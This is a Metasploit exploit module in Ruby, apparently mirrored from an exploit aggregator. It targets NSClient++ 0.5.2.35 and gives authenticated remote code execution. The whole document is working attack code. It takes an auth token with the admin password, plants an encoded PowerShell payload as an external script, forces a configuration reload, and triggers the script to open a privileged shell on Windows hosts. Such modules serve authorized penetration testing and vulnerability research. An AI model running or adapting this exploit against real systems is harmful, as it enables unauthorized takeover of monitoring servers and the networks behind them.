Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT/WINDOWS/HTTP/NSCP_AUTHENTICATED_RCE/
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include ::Msf::Exploit::Remote::HttpClient
  include ::Msf::Exploit::CmdStager
  include ::Msf::Exploit::Powershell
  prepend ::Msf::Exploit::Remote::AutoCheck
  include ::Rex::Text

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'NSClient++ 0.5.2.35 - ExternalScripts Authenticated Remote Code Execution',
        'Description' => %q{
          This module allows an attacker with knowledge of the admin password of NSClient++
          to start a privilege shell.
          For this module to work, both web interface of NSClient++ and `ExternalScripts` feature
          should be enabled.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'kindredsec', # POC on www.exploit-db.com
            'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
          ],
        'References' =>
          [
            ['EDB', '48360']
          ],
        'Platform' => %w[windows],
        'Arch' => [ARCH_X64],
        'Targets' =>
          [
            [
              'Windows',
              {
                'Arch' => [ARCH_X86, ARCH_X64],
                'Type' => :windows_powershell
              }
            ]
          ],
        'Privileged' => true,
        'DisclosureDate' => '2020-10-20',
        'DefaultTarget' => 0,
        'Notes' =>
          {
            'Stability' => [ CRASH_SAFE ],
            'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
            'Reliability' => [ REPEATABLE_SESSION ]
          },
        'DefaultOptions' => { 'SSL' => true }
      )
    )

    register_options [
      Opt::RPORT(8443),
      OptString.new('PASSWORD', [true, 'Password to authenticate with on NSClient web interface', nil])
    ]
  end

  def configure_payload(token, cmd, key)
    print_status('Configuring Script with Specified Payload . . .')

    plugin_id = rand(1..10000).to_s

    node = {
      'path' => '/settings/external scripts/scripts',
      'key' => key
    }
    value = { 'string_data' => cmd }
    update = { 'node' => node, 'value' => value }
    payload = [
      {
        'plugin_id' => plugin_id,
        'update' => update
      }
    ]
    json_data = { 'type' => 'SettingsRequestMessage', 'payload' => payload }

    r = send_request_cgi({
      'method' => 'POST',
      'data' => JSON.generate(json_data),
      'headers' => { 'TOKEN' => token },
      'uri' => normalize_uri('/settings/query.json')
    })

    if !(r&.body.to_s.include? 'STATUS_OK')
      print_error('Error configuring payload. Hit error at: ' + endpoint)
    end

    print_status('Added External Script (name: ' + key + ')')
    sleep(3)
    print_status('Saving Configuration . . .')
    header = { 'version' => '1' }
    payload = [ { 'plugin_id' => plugin_id, 'control' => { 'command' => 'SAVE' } } ]
    json_data = { 'header' => header, 'type' => 'SettingsRequestMessage', 'payload' => payload }

    send_request_cgi({
      'method' => 'POST',
      'data' => JSON.generate(json_data),
      'headers' => { 'TOKEN' => token },
      'uri' => normalize_uri('/settings/query.json')
    })
  end

  def reload_config(token)
    print_status('Reloading Application . . .')

    send_request_cgi({
      'method' => 'GET',
      'headers' => { 'TOKEN' => token },
      'uri' => normalize_uri('/core/reload')
    })

    print_status('Waiting for Application to reload . . .')
    sleep(10)
    response = false
    count = 0
    until response
      begin
        sleep(2)
        r = send_request_cgi({
          'method' => 'GET',
          'headers' => { 'TOKEN' => token },
          'uri' => normalize_uri('/')
        })
        if !r.body.empty?
          response = true
        end
      rescue StandardError
        count += 1
        if count > 10
          fail_with(Failure::Unreachable, 'Application failed to reload. Nice DoS exploit!')
        end
      end
    end
  end

  def trigger_payload(token, key)
    print_status('Triggering payload, should execute shortly . . .')

    send_request_cgi({
      'method' => 'GET',
      'headers' => { 'TOKEN' => token },
      'uri' => normalize_uri("/query/#{key}")
    })
  rescue StandardError => e
    print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")
  end

  def external_scripts_feature_enabled?(token)
    r = send_request_cgi({
      'method' => 'GET',
      'headers' => { 'TOKEN' => token },
      'uri' => normalize_uri('/registry/control/module/load'),
      'vars_get' => { 'name' => 'CheckExternalScripts' }
    })

    r&.body.to_s.include? 'STATUS_OK'
  end

  def get_auth_token
    r = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('/auth/token?password=' + datastore['PASSWORD'])
    })

    if r.code == 200
      begin
        auth_token = r.body.to_s[/"auth token": "(\w*)"/, 1]
        return auth_token
      rescue StandardError
        :no_token_found
      end
    else
      :wrong_password
    end
  rescue StandardError
    :failed_to_connect
  end

  def check
    token = get_auth_token

    if token == :failed_to_connect
      CheckCode::Safe("Can't access to NSClient web interface, maybe the web interface is not activated or something is wrong with the targeted host")
    elsif token == :wrong_password
      CheckCode::Unknown('Unable to connect to NSClient web interface because the admin password given is wrong')
    elsif token == :no_token_found
      CheckCode::Unknown('Unable to get an authentication token, maybe the target is safe')
    else
      print_good('Got auth token: ' + token)
      if external_scripts_feature_enabled?(token)
        CheckCode::Vulnerable('External scripts feature enabled !')
      else
        CheckCode::Safe('External scripts feature disabled !')
      end
    end
  end

  def exploit
    cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)
    token = get_auth_token

    if token != :failed_to_connect && token != :wrong_password && token != :no_token_found
      rand_key = rand_text_alpha_lower(10)
      configure_payload(token, cmd, rand_key)
      reload_config(token)
      token = get_auth_token # reloading the app might imply the need to create a new auth token as the former could have been deleted
      trigger_payload(token, rand_key)
    end
  end
end